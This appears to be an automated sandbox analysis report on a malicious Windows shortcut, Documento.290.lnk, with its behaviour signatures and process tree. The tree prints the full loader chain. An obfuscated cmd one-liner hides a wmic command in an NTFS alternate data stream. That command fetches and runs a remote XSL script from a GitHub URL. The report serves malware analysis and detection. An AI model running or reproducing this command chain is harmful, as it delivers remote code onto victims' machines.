Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 09:26

General

  • Target
    Documento.290.lnk
  • Size 2KB
  • Sample260925-ld69zada42
  • SHA256 04257a6a2230d3fe5cf71b56eb698ce638e2161f6325190c588a543edb51cf01
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Documento.290.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4144
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo ^wmic ^os ^get ^WOOYSSFFJ, ^ibbxxzz, ^MaxProcessMemorySize ^/format:"http://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/v.xsl#0250306irrullkk"> C:\Users\Admin\AppData\Local\Temp\cirusj4.jpg:6866llr.cmd && C:\Windows\system32\cmd.exe - < C:\Users\Admin\AppData\Local\Temp\cirusj4.jpg:6866llr.cmd
      2⤵
      • Executes a command shell one-liner
      • NTFS ADS
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2436
        • C:\Windows\System32\wbem\WMIC.exe
          wmic os get WOOYSSFFJ, ibbxxzz, MaxProcessMemorySize /format:"http://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/v.xsl#0250306irrullkk"
          4⤵
          • Badlisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1816

Network

        MITRE ATT&CK Enterprise v16

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        Downloads